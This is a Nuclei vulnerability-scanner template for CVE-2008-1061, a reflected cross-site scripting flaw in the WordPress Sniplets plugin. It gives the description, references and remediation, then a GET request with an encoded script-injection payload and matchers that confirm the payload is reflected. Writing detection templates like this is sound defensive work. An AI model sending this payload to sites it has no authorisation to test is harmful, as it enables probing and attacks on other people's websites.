nuclei-templates/http/cves/2008/CVE-2008-1061.yaml

id: CVE-2008-1061

info:
  name: WordPress Sniplets <=1.2.2 - Cross-Site Scripting
  author: dhiyaneshDK
  severity: medium
  description: |
    WordPress Sniplets 1.1.2 and 1.2.2 plugin contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML via the text parameter to warning.php, notice.php, and inset.php in view/sniplets/, and possibly modules/execute.php; via the url parameter to view/admin/submenu.php; and via the page parameter to view/admin/pager.php.
  remediation: |
    Update WordPress Sniplets plugin to the latest version available, which addresses the XSS vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/5194
    - https://wpscan.com/vulnerability/d0278ebe-e6ae-4f7c-bcad-ba318573f881
    - https://nvd.nist.gov/vuln/detail/CVE-2008-1061
    - http://securityreason.com/securityalert/3706
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/40830
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2008-1061
    cwe-id: CWE-79
    epss-score: 0.00938
    epss-percentile: 0.81093
    cpe: cpe:2.3:a:wordpress:sniplets_plugin:1.1.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: wordpress
    product: sniplets_plugin
  tags: xss,wp-plugin,wp,edb,wpscan,cve,cve2008,wordpress,sniplets

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/sniplets/view/sniplets/warning.php?text=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200